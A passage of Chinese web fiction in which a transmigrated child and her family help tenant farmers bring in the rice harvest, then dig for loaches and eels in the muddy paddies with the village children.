她那小屁股撅得老高,脑袋几乎要贴到地面上,稻茬子都快戳到她脸上去了,她也毫不在意。
“二叔婆,我们也帮忙。”荷花和红袖也跳了下去,一个跟着小姐,就在萧执的身后,一个则在孟怀瑾身后不远也躬下了身。
荷花细心地留意着阿沅的动静,生怕小姐一不小心摔了;红袖则手脚麻利,捡稻穗的动作又快又准,还不时抬头看一眼孟怀瑾那边的进展。
“绿果,拿着,镰刀给我。”柳氏看着黄灿灿沉甸甸的水稻,也来了兴致,把阿沅的小水壶塞过去,抢过了绿果手上的镰刀,也下了地。
她今日穿的是件半新不旧的藕荷色衣衫,就往田里走,深灰色的布鞋踩在松软的田埂上,留下一个个浅浅的脚印。
现在整个庄子的人,包括她的夫君,都在地里忙活,就她歇着也不带劲。
柳氏看着儿子正挽着袖子,弯腰又要重新割稻,动作虽不如老农熟练,却也像模像样,她的嘴角不由得浮起一丝笑意。这种机会,以后可不一定有。她心里暗暗想着,这次若不下去试试,往后怕是再难有这般自在的光景了。
都说秋收后就要去往南方,但夫君是任职去的,要想再割稻谷,可不如在庄子里那么自在了。柳氏握着镰刀站在田边,望着这一片金黄的稻浪,心中忽然涌起万千感慨。
夫君以后就在地里田头穿梭,如果带上她,必然会遭人诟病,没准还会被其他官员弹劾。
她虽不常出门,却也听人说起过,官员家眷下地劳作,会被同僚笑话是“村妇”,更有甚者,还会参上一本,说是去捣乱,有失官家体统。
这么一想,柳氏还是觉得在嘉和庄自在,好歹什么都能自己做主,去了江南还好,若是以后还要重回京城……她不敢再往下想,只觉得心头像压了一块大石头,沉甸甸的,不比手里握着的这把镰刀轻。
柳氏摇了摇头,甩开脑海中太多的顾虑,抓起一把水稻就割。左手拢住一把稻秆,右手挥起镰刀用力一割,却因为割的位置太高,那一把稻穗倒是割下来了,可下半截稻秆上还密密地留着好些没割下来的谷穗,金灿灿的,在阳光下格外刺眼。
“娘!”阿沅第一个惊呼出声,小嘴张得圆圆的,眼睛瞪得溜圆,手里的稻谷都忘了捡。
“娘!”
“姨母。”
同时几道惊呼响起,孟怀瑾声音尤其大。萧执也直起身来,一脸哭笑不得地看着自己这位冒冒失失的长辈。
二叔婆更是痛心疾首,脸上的皱纹都挤到了一处,一双手抖啊抖的,指着柳氏手里的稻穗,想说什么又不敢说,急得在原地直跺脚。“夫人,不带这么割的,得贴近禾根来割,这么浪费……”
话说到一半,二叔婆猛然想到她的身份,又想到明明已经给了自家承诺,硬生生住了嘴,但还是一脸肉疼,那表情,活像被人剜了心头肉似的。
她张了张嘴,终究没敢再往下说,只是长长地叹了口气,那叹气声里,满是心疼和无奈。
照这么个割法,禾杆上还剩有谷子,禾杆也要重新收一次,真真是来捣乱的。二叔婆心里暗暗叫苦,这哪是来帮忙的,分明是来添乱的啊。
第一卷 第155章 捉泥鳅去
“对不起,我一高兴就忘了。”柳氏连忙住手,并直起腰,看着手上那一把稻穗发呆,也不知道应该把稻穗往哪放。她的脸上浮起两朵红云,从脸颊一直烧到耳根子,握着稻穗的手僵在半空中,别提多尴尬了。
“嗨!放我这来吧。”二叔婆叹气,但还是捞起地上一个小撮箕递了过去。
二叔婆递过来的时候,眼神还不忘在柳氏手里那把稻穗上溜了一圈,又是一阵心疼。
“哈哈,娘亲还不如哥哥!”阿沅第一个反应过来,把刚捡起的几粒稻谷往布袋里一塞,两只小胖手捂着嘴巴,笑得前仰后合。她这一笑,脚下不稳,一屁股坐在了田里,也不嫌脏,就这么坐着,指着柳氏咯咯笑个不停,露出刚冒头的小乳牙,可爱得紧。
“哈哈哈!”有阿沅捧腹开了头,大家都忍不住哈哈大笑。
孟怀瑾笑得直不起腰,扶着镰刀柄,肩膀一耸一耸的;萧执也忍俊不禁,嘴角弯起,眉眼间都是笑意;莲花和红袖不敢笑出声,却也是捂着嘴,肩膀抖得厉害。
二叔婆笑得直不起腰,干脆坐在田埂上指着柳氏,“你呀!你呀!夫人,您还不如这两个小子呢。”她笑得眼泪都出来了,一边笑一边用袖子擦眼角,那原本的心疼和拘谨,在这一阵笑声里,倒消散了大半。
但这回语气里已经没有多少责怪的意思,反而带着一种对自家儿女的宠溺的语气。
二叔婆坐在田埂上,看着这一群手忙脚乱的城里人,看着那个坐在地上笑得打滚的小丫头,看着那个脸红得像火烧一样的年轻夫人,忽然觉得,这些粮食,浪费得也不算太冤枉。
毕竟肯这样下地干活的城里人可不多,何况他们还是主家。
往年这个时候,稻田里总要热闹个四五天,家家户户的劳动力都弯着腰在地里,从日出割到日落。
可今年不一样,家家都是早出晚归抢着干,主家还带着人马来帮忙,那些原本要磨蹭四五天的活儿,硬是只忙活了三天就收了尾。
到了第四天头上,村里大半的板车、挑担都转到了晒场上,金黄的稻谷铺开来,太阳底下晃得人眼晕。
新的活计又开始了——石碾子吱吱呀呀地转,连枷噼里啪啦地响,有人用木杈翻着稻秸,有人拿着扫帚扫着谷粒,晒场上热闹得像赶集。
还有那么三两分地的稻子没割完的,地里就留了一个人,弯着腰继续挥镰刀。庄里的老人们舍不得那跌落地里的谷穗子,天刚蒙蒙亮就起来了,胳膊上挎个竹篮,手里拎个口袋,身后跟着睡眼惺忪的孙儿孙女。
他们弯着有些僵硬的腰,在地垄沟边、田埂缝里,一根一根、一粒一粒地捡那些被落下的稻穗。孩子们揉着眼睛跟在后面,学着大人的样子,看见了就欢天喜地地喊:“爷爷,这儿有!”
“麻烦跟小姐说,但凡还有点淤泥的角落,藏着的泥鳅最多,这时候地里的田鼠也最肥,我们一起挖泥鳅,熏田鼠。”黑丫站在院子门口,探着脑袋往里瞧,嗓门亮堂堂的。
她忙活了这几天,年年这样,今年也很累但也高兴,全因多打了几百斤粮食。
大牛二牛那两个小子倒也懂事,主动把晒场的活儿揽了过去,让姐姐能歇口气。黑丫得了空闲,一大早就跑来了,她知道禾宝肯定爱玩这些。
其实这也是林庄头的意思,更是佃户们私下里合计出来的。说起来,放眼整个县,也找不出第二家这样的主儿——大老爷带着家人,还有上上下下的人来给佃户干活,不但不吃他们家一粒米,不要一文工钱,还倒贴着茶水给他们喝。
佃户们嘴上说着谢,心里记着恩,可穷人家,拿什么还这份情?左思右想,也就只有让禾宝高兴高兴了。
几个月处下来,谁不知道这个小禾宝像个假小子?就喜欢玩水,喜欢玩泥巴,喜欢往庄稼地里钻。摸鱼抓虾这些事,她一听眼睛就放光。
熏田鼠倒是添头,大人觉得能熏出几窝田鼠来,也算是给庄稼除害了。往年都是等稻谷全归了仓,闲下来才开始挖田鼠洞,今年索性让孩子们提前乐呵。
最后连大牛二牛都被从晒场上赶了来,他们家的活儿,村民们二话不说就包圆了。
“我要挖泥鳅!”阿沅原本还趴在榻上玩九连环,一听婆子进来传黑丫的话,整个人像被弹簧弹起来似的,九连环往榻上一扔,光着脚就往地上跳。
她跑过去抱住柳氏的腿,仰着小脸,眼睛亮得像点了灯,“娘亲,快点给我换短打!”
她急得直跺脚,小身子扭来扭去,嘴里嚷嚷着,“不要裙子,要短打,要光脚丫!”
挖泥鳅要是还穿着那些束裤,一会儿湿哒哒地贴在腿上,裤腿里灌满了泥,那还怎么玩?哪有穿短打来得痛快,往泥里一蹲,泥巴糊满腿都不怕,水一冲就干净了。主要是这时节田里没有水,不需要抹药,也没有蚂蝗。
“阿沅看着就行,让绿果和红豆帮你抓。”柳氏被她缠得没法,蹲下身来,一边给她解着小裙子的带子,一边柔声嘱咐。
虽说给她换了短打,又从箱笼里翻出一件半旧的褐色小褂套上,还挑了个轻便的小木盆让她自己抱着,可嘴里还是絮叨着,“泥地里滑,不许乱跑,不许往深水沟里去,听见没有?”又给旁边的红袖使了个眼色,让她们眼睛一刻也别离开小姐。
“知道了,夫人。”红袖绿果红豆几个齐齐应声,脆生生的。可心里都明白,小姐那性子,一出门就跟撒了欢的小狗似的,哪里是她们能掌控住的?也只能尽力跟着,多看顾些了。
第一卷 第156章 有点无奈,却不责备
“姨母放心,阿执会护着阿沅妹妹的。”不知什么时候,萧执也从后院绕了出来,身上早就换了一套靛蓝的短打,袖子也只到手肘,露出一截匀称的小臂,瞧着比平日添了几分利落。
他走上前来,伸手就拍开红袖正要往阿沅脚上套鞋的手,微微弯下腰,两手抄到阿沅胸前,轻轻一提就把她抱了起来,还摸了摸她的脚底,还真让她赤着脚。
阿沅手里还抱着小木盆,盆沿磕在萧执肩膀上,她也不怕,咯咯笑起来。
“走啰!”萧执把她往上托了托,让她坐得稳当些,侧头对怀里的小人儿笑道,“阿沅跟哥哥捉泥鳅去咯。一会儿哥哥给你挖最大最肥的,放到你盆里,让它们游给你看。”
他的举动,惹得后面红袖和莲花又是齐齐翻了个白眼。红袖撇了撇嘴,小声嘟囔:“就显他能耐。”莲花拿胳膊肘碰碰她,压低声音道:“行了行了,快跟上吧。”
两人无可奈何地跟在后面,眼睛却一刻不敢放松地盯着那个被萧执抱在怀里的小身影。
萧执的真实身份,这个院子的人早就猜出了个七七八八。所以敢朝他翻白眼的也只有红袖和莲花这两个,而且还只敢在背地里说说坏话,当着他的面,还得规规矩矩的。
阿沅趴在萧执肩头,小短腿在萧执胳膊弯里一晃一晃的。她低头看看自己怀里的小木盆,又抬头看看萧执的下巴,忽然凑过去,小脸蛋在他脸上蹭了蹭,奶声奶气地说:“哥哥,阿沅也要挖,阿沅自己挖,挖好多好多,给娘亲熬汤喝。”
她年纪小,漂亮哥哥的油能揩则揩。
萧执被她蹭得心里软成一片,偏过头看她,眉眼都带着笑:“好,一会儿给你找块软和泥地,还有这把小铲子,让你挖个够。不过要是挖不到可不许哭鼻子。”这时候阿沅才发现她手里还有一把不过巴掌大的小铲子,一看兴奋了。
在现代,即使已经是成年人,每次去海边,她还是会买一套挖沙工具,坐在沙地里挖呀挖呀挖,就希望挖出一座花园来。
“才不会哭!”阿沅把小脑袋摇得像拨浪鼓,头上的两个小揪揪跟着晃悠,“阿沅一只泥鳅都不会放过!”
黑丫在前面带路听得直乐,催促他们道:“快走快走,抢占靠水的那几块田,那里泥鳅最多,晚了就让人家挖走啦!”
庄子里的孩子似乎已经得了消息,已经开始有人拿了盆,扛着铁锹,往这边跑来了,稀稀拉拉,好几群人。
一行人说说笑笑地往小溪边的水田走去,晨光落在他们身上,不是太热,还是暖融融的。
远处的晒场上,连枷声还在一阵一阵地响,而这里,孩子们的欢闹声已经撒了一路。
赶早的好处,就是抢到了庄子里最低洼,最靠边,也就是溪水刚好从旁边流出去的那块水田。
黑丫就领着他们穿过了大半個庄子。水田位置稍偏,旁边还有一小片芦苇。
但正如黑丫所说,别处的水田收割后,晒几天都裂了口子,脚踩上去硬邦邦的,唯独眼前这几块还泛着湿润的光泽,像是刚哭过的孩子的脸。
“看见没?大多的田土都结块了,就这前后这几块还有淤泥,我们这块那个角落昨天还是有点水的。”黑丫像是早就踩了点,像在说自家的地一般。
她说着话,拿脚在田埂上踩了踩,那湿软的泥土立刻陷下去一个深深的脚印,边缘渗出清亮的水来。
又或者说她往年抓泥鳅早就有了经验,将他们带来的这块水田,禾茬子不像其他的都干枯了,而是还泛着绿意,大有韭菜割了还再生的感觉,就是水田湿润的缘故。
割了才三天,那些禾茬子顶端的切口处竟然冒出了嫩黄的新芽。
红袖好奇地伸手去摸,那新芽软软的,带着清晨的凉意,轻轻一碰就断了。她捏在手里看了半天,又小心翼翼地插回泥里,仿佛这样就能让它重新活过来。
旁边的禾茬子之间,偶尔能看见细小的气泡从泥里冒出来,“啵”的一声轻响,似有生物在下面呼吸。
黑丫把手上的木盆和铲子往水田里一丢,就挽起了裤腿。她十几岁,已经到了快及笄的年纪,平日里自然没有穿短打,长裤虽然累赘,但是挽起来一半露出小腿,在泥地里干活谁都不会诟病。
黑丫挽裤腿的动作干脆利落,先是把裤脚往上卷两折,露出沾着些许灰尘的小腿和光脚丫。好奇怪,她脸很黑,小腿却是很健康的小麦色。
她用力踩下去,淤泥只是没过她的脚踝,天气很热,淤泥却很冰凉。她“嘶”了一声,随即适应了似的,往前走了两步,留下两个深深的脚窝。
她回头看了看阿沅,咧嘴一笑,露出一口白牙,脸上是两个浅浅的梨涡,其实,还挺耐看的。
毕竟她们不是千金大小姐,不干活可没饭吃,经常挽着半截裤腿,这才是贫苦人家女孩干活时的正常状态。
“阿沅先在田埂上看着,看见泥鳅指给阿执哥哥看,阿执哥哥给你抓。”
萧执说这话的时候,把阿沅放下来,放在一块相对干燥的田埂上。那块田埂的草长得厚实,坐上去软软的,像垫了一层褥子。他还不放心,又用手按了按,确认没有尖锐的石子或者枯枝,这才直起身来。
阿沅乖乖地坐着,两条小短腿悬在田埂边上晃悠,光着的脚丫离浅浅的水洼不过一寸的距离,偶尔脚尖能点着冰凉的溪水,就赶紧缩回来,咯咯笑两声。
“好的。”嘴巴虽听话地应着,她赤裸着的小脚丫却不听使唤地滑下了水田。
往那最湿的淤泥嘣嘣嘣就踩,可是脚劲太小,脚丫居然没有如她预料一般往泥地里陷,只是感觉脚底一片冰凉,如同喝了冰镇的绿豆水,感觉很是舒爽。
那淤泥像是有生命似的,轻轻托着她的小脚丫,只让她陷下去薄薄一层。冰凉的触感从脚底一路窜到头顶,阿沅忍不住打了个哆嗦,眼睛却亮了起来。
她低头看着自己白白的小脚丫陷在黑乎乎的泥里,那反差鲜明得让她觉得新奇极了。她用脚趾使劲抓了抓,只抓到一把软绵绵的泥,从趾缝间挤出来,痒痒的,像有小虫子在爬。
舒服的双脚蹦起,用力往下踩,蹦得头上的小草帽一歪,差点跌落,连忙自己扶正,然后咯咯咯地笑了。
小手沾了泥,在帽檐上留下几个黑黑的指印。阳光从帽檐的缝隙漏下来,在她脸上洒下斑驳的光影。她笑着,眼睛弯成两道月牙儿,脸蛋上两个小酒窝深深浅浅的,甜得能溺死人。
萧执一直看着她的小动作,有点无奈,却没责备。
第一卷 第157章 每个人都围着禾宝转
冲后面的人招呼,“莲花,红袖快点下来,好冰,好舒服。”
她一边喊一边回头,小身子扭来扭去,脚丫还在泥里踩个不停,溅起的泥点越来越多,短打下摆都沾上了。
“来了,我捉过泥鳅,我教你们捉。”莲花往下一跳,同样的一蹦一踩,双脚却陷进了泥里,由于预料不到,一屁股蹲坐到了淤泥里。
莲花这一屁股坐下去,动静可不小,“噗”的一声闷响,淤泥四溅,离她最近的阿沅脸上都溅了几滴。莲花整个人愣在那里,双手撑在身后,眼睛瞪得溜圆,嘴巴张得能塞下一个鸡蛋。
她转头看了看自己满是黑泥的屁股,又抬头看了看大家,脸上的表情从震惊变成茫然,又从茫然变成哭笑不得。那身洗得发白的蓝布衣裳,后头全糊上了黑泥,狼狈得紧。
“哈哈哈,泥鳅没捉呢,就先得了一身泥。”随后蹦下来的小牛,哈哈大笑,但还是好心地拉了她一把。
小牛顺手往她屁股上那么一抓,抓了满满一把稀泥,用力甩出去,那泥巴在空中划过一道弧线,落到了旁边的水田里,溅起一小片水花。他甩完泥,还故意在莲花的衣裳上蹭了蹭手,又换来莲花的一顿捶打。
又是换来一阵哄堂大笑。
阿沅笑得最欢,小身子一抖一抖的,脚下一滑,差点又摔倒,幸好萧执眼疾手快扶住了她。她靠在萧执腿上,笑得直喘气,小脸蛋红扑扑的,眼睛里亮晶晶的,全是笑意。
绿果和红豆也笑,只是笑得含蓄些,用手捂着嘴,肩膀一耸一耸的。连一向严肃的萧执,嘴角也微微上扬,眼里有了些温度。
玩笑间,黑丫拿把大铁锹已经铲了几铲,还招呼绿果和红豆,“你们就从这里挖,快点,用手。看见泥鳅马上用手捧,泥鳅滑溜着呢,慢了可抓不到。”
黑丫的铁锹使得极好,一铲下去,能挖起一大块黑泥,翻过来扣在旁边,再用锹背松一松,再拍拍平。她一边挖一边指点,眼睛一刻不离地盯着一铲铲翻开的泥,生怕错过了泥鳅的踪影。
她手上的青筋因为用力而微微凸起,额头上渗出细密的汗珠,在阳光下闪着光。那专注的样子,像极了一个经验丰富的老农。
绿果和红豆还没反应过来,倒是大牛,已经跟在她后头扒拉开了软乎乎的黑泥,而且扒拉的位置还往外扩大,并不打算顺着黑丫铁锹的痕迹来。
大牛是个有主意的,他觉得黑丫挖的那条道太窄,泥鳅容易钻到旁边的泥里去,所以他干脆把范围扩大,双手在泥里扒拉得飞快,像两只忙碌的小耙子。
他扒开的泥里,时不时能看见蚯蚓在扭动,他就顺手抓起来,往旁边的水沟里一扔,说是给鱼儿吃。他干活的时候嘴里还哼着不知名的小调,快活得很。
“阿沅,跟着哥哥。”萧执手握不过巴掌大的小铲子,虽说铲泥并不费力,但出多少力就干多少活,十铲挑起的泥都没有黑丫的一铲多。他的话音刚落,就听到黑丫和大牛同时惊呼,“禾宝,快点拿盆来,”
萧执那小铲子是阿沅平时的玩具,平时用来挖沙子的,没想到今天派上了用场。他铲泥的姿势很标准,一铲下去,挑起,翻转,拍平,动作流畅,时不时的还要回头看看阿沅,确保她还在视线范围内。
“好大一条,别让它钻泥里了。”
黑丫这一嗓子,把所有人的注意力都吸引了过去。只见她铁锹翻开的泥里,一条拇指粗的泥鳅正在拼命扭动,黑褐色的身子在阳光下闪着油亮的光。
它扭得极快,眼看着就要往旁边的泥里钻,黑丫眼疾手快,丢了铁锹就扑过去双手去捧。可她手还没碰到,大牛的手已经伸了过来,两只手同时往那泥鳅抓去,差点撞到一起。
“真的?快点给我。”不过就隔了几步远,阿沅却动弹不得,好丢脸,好彩不彩,居然这个时候陷泥地里了。
阿沅刚才看得太入神,忘了挪脚,这会儿才发现,只要久不移动,两只小脚丫已经陷进了淤泥里,一直没到小腿肚。她使劲想拔出来,可越是用力,陷得越深,急得她小脸都皱了起来。
她试着往前倾身子,想用手撑地,可手一按下去也陷进了泥里,这下好了,手脚都陷进去了,像个被困住的小乌龟,怎么也挣扎不出来。
只得用还能活动的另外一只手,把自己的小木盆往黑丫的方向甩过去,“黑丫姐姐,我的我的。”她话音刚落,小身子像是被拔了萝卜,吊在半空中,然后重新在没铲过那块落了地。这就是萧执对她的惯用作风,一言不发,霸道但贴心。
那小木盆在空中翻了两个滚,“啪”的一声落在黑丫脚边的泥里,溅起的泥点落了黑丫一身。
她被放到干燥的地方,低头一看,自己两条小腿黑乎乎的,像穿了双黑靴子,忍不住又咯咯笑起来。
“这边,阿执哥哥帮你捉。”手里被塞了把小铲子,萧执赤手空拳,学起了大牛二牛和黑丫,往淤泥里扒泥鳅。
他眼睛紧紧盯着翻开的泥,一看见有滑溜溜的东西在动,手就飞快地伸过去。那双手白净修长,骨节分明,此刻却沾满了黑泥,像戴了双黑手套。他也不在意,只顾着埋头找泥鳅,时不时还要抬头看看阿沅的方向,确认她还在那里乖乖站着。
“禾宝,看见没?好大一只。”大牛捉得最快,双手合得跟个花苞似的,快走几步跑了过来,用脚踢正小木盆,直到看见阿沅靠近,双掌一松,让蹦哒扭动不停的泥鳅落入了盆中。
那泥鳅滑溜溜的身子扭来扭去,尾巴甩得啪啪响,一进盆就开始疯狂游动,撞得盆壁咚咚响。
“哇!真的好大,谢谢大牛哥。”阿沅看见泥鳅就蹲了下去,还用手捅了捅它不停翻滚的肚子,看着它垂死地挣扎,一点都不知道怕。
第一卷 第158章 这是蛇吧?好可怕
在现代,孟沅吃的泥鳅可不少,所以根本就不知道怕。
她脑子里已经开始盘算着回去怎么吃了。煎得金黄酥脆的泥鳅,撒上细细的盐,咬一口外酥里嫩;或者是用紫苏叶子焖得香香的,那紫苏特有的香味渗进泥鳅肉里,连骨头都入味;再不就是煮汤,奶白色的汤,撒上一把葱花,鲜得能喝三碗。
她想着想着,口水都快流出来了,赶紧吸溜一下,又继续戳她的泥鳅。
自从上了农学院和后来进了实验室,研究起了水稻种植,跟农民打交道的机会特别多,偶尔还会在农村蹭饭,煎小鱼、焖小虾、韭菜炒蛋往往就是偏远农户家里的荤菜,她觉得比城里的大鱼大肉好吃多了,玉米稀饭都可以多吃一碗。
有时候运气好,农户家里刚好捉了泥鳅,捡了田螺,她和同学或是同事甚至会亲自上手煮,煎泥鳅、炒田螺是她的拿手菜。
这时候虽然才捉了一条泥鳅。她都想到回去的时候,要记得指挥红袖他们拔葱偷蒜、掐紫苏了。
“看见没?黑丫姐姐这只更大,全都是给禾宝的。”
又一只泥鳅进了盆后,阿沅更高兴了,嘴里开始咋咋呼呼,“黑丫姐姐快捉,捉多点,今晚泥鳅煎香香的,我让婆子给你们送一份。”
黑丫捉的那条确实大,足足有成人拇指那么粗,身子黑亮黑亮的,在阳光下闪着油光。它被扔进盆里的时候,把之前那几条小的撞得东倒西歪,自己却像个霸主似的,在盆里横冲直撞。
阿沅看得眼睛都直了,小手拍得啪啪响,嘴里不停地喊:“黑丫姐姐厉害!黑丫姐姐最厉害!”她喊得太用力,小脸蛋涨得通红,额头上都冒汗了。
“禾宝,不用了。待会儿我们还熏老鼠,今晚吃田鼠肉,那才香呢。可惜夫人说了,你们不吃,不然我们也给你们送两盘。”大牛马上回应,语气里满是惋惜的。
“那田鼠啊,肥得很,一只能有这么大,抓回来去了毛,肚子里全是黄澄澄的油,不知偷吃了多少庄稼。
把它切成小块,放锅里煸,滋滋冒油,那香味能飘出二里地。”他说得眉飞色舞,嘴角都快流口水了,赶紧吸溜一下。
“就是,你们城里人怎么不吃田鼠呢?那可是好东西。我爷说了,一鼠抵三鸡。炒香了,连骨头带肉都可以吃,滋滋冒油,特别是那层皮,那叫一个香。”小牛一面说,一面咂吧着嘴,仿佛美味就在嘴边。
那模样,把阿沅逗得咯咯直笑,小身子一抖一抖的。
小牛想想最后还来一句,“不行,我还是给老北爷爷送一碗,他可是跟我们说过,在战场的时候连草根都吃的,不可能不吃田鼠,大老爷肯定也吃,我多送点,用大盆装。”
小牛说到老北爷爷,脸上的表情变得认真起来。他想起老北爷爷讲的那些战场上的故事,说他们饿极了的时候,树皮草根都吃过,树叶子煮一煮就是一顿饭。
跟那比起来,田鼠肉简直是山珍海味了。他暗暗下定决心,这次多抓几只,一定要给老北爷爷送一碗去,让他老人家尝尝鲜。
“就是,在吃的上,大老爷不可能听夫人的。”也幸亏孟大川这时候不跟着他们一起,不然若是听到大牛这句话肯定会反对。
大牛这话说得理直气壮,好他还学着孟大川的样子,挺起胸脯,板着脸,粗声粗气地说:“我行军打仗的时候,什么没吃过?田鼠怎么了?那是美味!”学完了自己先笑起来,笑得前仰后合。
阿沅内心却吐槽开了,“爹爹就是听娘亲的,而且服服帖帖那种,不然起码要被娘亲惩罚三天,不让上床一起睡。”
她心里想着,嘴上不说,只是偷偷地笑。她想起有一次爹爹偷偷喝酒,被娘亲发现了,当晚就被赶去书房睡。第二天一早,爹爹顶着两个黑眼圈,可怜巴巴地求饶,那模样要多惨有多惨。
还有一次,爹爹学着佃户在外面吃了大蒜,回来跟娘亲说话,被娘亲嫌弃,硬是三天不让近身。从那以后,爹爹再也不敢吃大蒜了。这些事想起来就好笑,阿沅忍不住捂着嘴,笑得肩膀一耸一耸的。
孟沅没有上手扒淤泥捉泥鳅,倒不是嫌脏,而是她确信自己做不到,还碍手碍脚,指不定自己还会被淤泥糊成只花猫。
她看着自己刚才陷进泥里的小腿,这会儿已经干了些,黑泥裂成一块块的,像龟裂的土地。她用手抠了抠,一小块干泥掉下来,露出里面白嫩的皮肤。她突发奇想,干脆把小腿上的泥一块块揭下来,玩得不亦乐乎。
揭下来的泥片放在旁边的草叶上,排成一排,像列队的士兵。她一边揭一边数:“一个、两个、三个……”数到后面数乱了,干脆不数了,又开始往自己腿上糊泥巴,把刚弄干净的小腿又糊成了黑色。
“阿沅,阿执哥哥厉害吧!数数,这是几只?”下田的每个人都给阿沅捉了好几只泥鳅,就是旁边那几块水田,后来的孩子们也传出了欢呼声,肯定也有了收获。萧执那边却没见动静,还以为他捉不到,没想这时候他却献宝来了。
萧执搬着一个大木盆过来了。小心翼翼地,生怕盆里的东西溅出来。他的脸上带着少有的得意,嘴角微微上扬,眼睛里闪着光,像个等着夸奖的孩子。
他走到阿沅跟前,把盆轻轻放下,然后退后一步,双手抱胸,一副“阿沅数一数”的表情。
他推过来的木盆也不知是谁的,但是木盆明显比阿沅的这只更大,里面蹦蹦跳跳,扭动着的好多泥鳅。大的小的都有,最大那只好长,让孟沅吓了一跳,连连后退,摔了一屁股蹲,“好可怕!这是蛇吧?”
那小脸上全是惊恐,眼睛瞪得溜圆,嘴巴张得大大的,连哭都忘了哭。
这话把所有人吓住了,绿果和红豆也顾不上挖泥,两脚就窜了过来。萧执更是把那木盆快速推开,让它远离孟沅。然后看着木盆里的怪物发呆:也是滑溜溜的呀!就是长了点,不是泥鳅吗?蛇吗?也不像呀。
绿果和红豆扶起阿沅,一起往盆里看。那盆已经被萧执推开了几步远,但里面的东西还是看得清清楚楚。那条长长的东西,身子比泥鳅粗,颜色也比泥鳅浅,在水里扭动的样子,确实有点像蛇。
第一卷 第159章 生气
萧执皱着眉头,仔细回想自己捉它的时候,好像没看见头上有须?泥鳅是有须的,这个好像没有?他心里开始打鼓,难道真的是蛇?
“哈,还抓到了黄鳝,那是赚到了。禾宝回去让煮饭婆子用来熬粥,记得告诉她,那血最补了,可别浪费。”大牛呵呵笑,还捞起了那条足有几两重的黄鳝,在空中炫了一下,说这话的时候却是盯着红袖,这话实则是交代她的。
那黄鳝在他手里拼命扭动,缠在他的手腕上,滑溜溜的差点滑脱。他赶紧换了个手势,用两根手指紧紧卡住黄鳝的头下部位,这才稳住了。
他把黄鳝举得高高的,让阳光透过它半透明的身体,可以隐约看见里面的骨头。他还故意凑到红袖面前晃了晃,吓得红袖往后躲,他就更得意了,哈哈大笑起来。
“这个我娘会煮,砍头放血的时候,直接滴到淘好的米里,黄鳝先煸一下油,再放锅里焖,也好吃。”莲花连忙抢话,“往年犁地的时候,我爹最喜欢提盏马灯去睡田里照,一晚上可以捉十来斤,又吃又卖,地主家最喜欢收。”
莲花一说起这个,话匣子就关不住了。她手舞足蹈地比划着,“我爹说,捉黄鳝要在晚上,提着马灯,沿着田埂慢慢走。那黄鳝晚上出来觅食,看见灯光就呆住了,一动不动,这时候拿个竹夹子一夹一个准。”她说得眉飞色舞,仿佛自己也跟着去捉过似的。
大牛看了看木盆里的泥鳅,看向萧执着称赞了一句,“你倒是手快,捉那么多。”刚才他也注意到了,这个公子哥眼神快得很,但是手更快,他刚看见的功夫,这小子手就过来了,还抢了他眼前的好几条。
大牛想起刚才的“抢泥鳅大战”,心里还有点不服气。有好几次,他明明看见一条泥鳅,手刚伸出去,萧执的手就从旁边插过来,抢先一步把泥鳅捞走了。那速度快得惊人,像闪电一样,他还没反应过来,泥鳅已经进了萧执的盆里。
他偷偷观察过萧执的手法,那双手又准又稳,出手的瞬间毫不迟疑。这份眼力和手速,就是他年年捉,也自愧不如。
似乎是为了报复他的抢功,大牛的动作极快,手指在盆里轻轻一拨,那几条小泥鳅就被挑了出来,在空中划过一道弧线,落在旁边的淤泥里。它们刚落下去的时候还有点懵,扭了几下才反应过来,赶紧往泥里钻。
那钻泥的动作滑稽极了,小脑袋使劲往里拱,尾巴在外面甩来甩去,几下就不见了踪影,只在泥面上留下几个小小的洞眼。
“你干嘛?”萧执生气,怒目圆睁,“又不是你捉的。”他可是专门攒了将近二十条,才过来阿沅面前邀功。
萧执的脸一下子涨红了,额头上的青筋都暴了起来。他握紧拳头,指节捏得发白,身子微微发抖。他辛辛苦苦捉的鱼,就为了在阿沅面前露一手,让她看看自己有多厉害。
那些小泥鳅虽然小,可也是他一条一条抓来的,大牛凭什么说扔就扔?他越想越气,呼吸都粗重起来,眼睛里像要喷出火来。
阿沅还没数呢,这小子妒忌也不带这样的,他咬起了牙,拳头也捏得紧紧的,手上残余的淤泥一块一块落到了阿沅的脚边。
阿沅低头看了看脚背上的泥块,又抬头看了看萧执铁青的脸,心里“咯噔”一下,暗道不好。
知道这可能是萧执发怒的前兆,连忙上前用双手握住了他紧握的拳头。还轻声细语,用点撒娇的语气,“阿执哥哥。”因为她的抓握,漂亮哥哥的拳头举起来,又轻轻放下,但还是很僵硬,很是不服。
受她的抓握和声音的影响,萧执的拳头慢慢松了一些,但还是紧紧绷着,像随时会爆发。
“小的不能捉,不然明年就没有泥鳅吃了。”黑丫本来还在低头捉泥鳅,忽然感觉到氛围不对,连忙解围。这倒不是她帮自家弟弟,而是庄子里本来就有不成文的默契,太小的泥鳅就继续养着,养大了才有得吃。
“要是都捉光了,以后还吃什么?我们庄子里的规矩,小泥鳅要放生,小鲫鱼也要放生,这样才能年年有鱼吃。”她说得认真,像个经验丰富的老农在传授经验。
“阿执哥哥最棒了,捉得最多,还捉到了黄鳝,我们夜宵就吃黄鳝粥。”阿沅适时吹起了彩虹屁,少年的拳头终于慢慢放松,眼神里的怒火也慢慢消逝,最终看向她时,又变成了平时少有的温柔。
萧执自己也不知道为什么,每次看到小阿沅,内心的坚硬和冷漠总会慢慢变柔和,像是春日的阳光,温暖又柔软。
他轻轻叹了口气,应了一声“好”,伸手扶正了她歪着的小草帽。
两半盆泥鳅一小盆黄鳝拿回家,放天井的井沿边,用井水冲洗了四五遍,才洗了个干净。
清凉的井水哗啦啦地冲在木盆里,泥鳅们被冲得东倒西歪,有几条倔强的拼命往盆底钻,尾巴却露在外面甩来甩去,溅起细小的水花。
黄鳝倒是沉稳得多,只是慢悠悠地挪动着光滑的身子,偶尔抬起扁扁的脑袋,仿佛在打量这个陌生的环境。井水冲过三四遍后,盆底依稀可见,水才算是清了。
“每盆放一小勺菜籽油,吐泥才快,今晚煮了没有泥腥味。”煮饭的婆子很有经验,老北奶奶和莲花婶子也是这么说的。
第一卷 第160章 聚餐
婆子边说边从灶房里提出油罐子,用长柄木勺舀起金黄色的菜籽油,手腕一抖,油便画着弧线落入盆中,在阳光下闪着细碎的光。
泥鳅们被这突如其来的油花惊得四处乱窜,盆里顿时热闹得像开了锅。老北奶奶站在一旁点头,补了一句:“还得养上一两个时辰,让它们把肚子里的泥吐干净。”
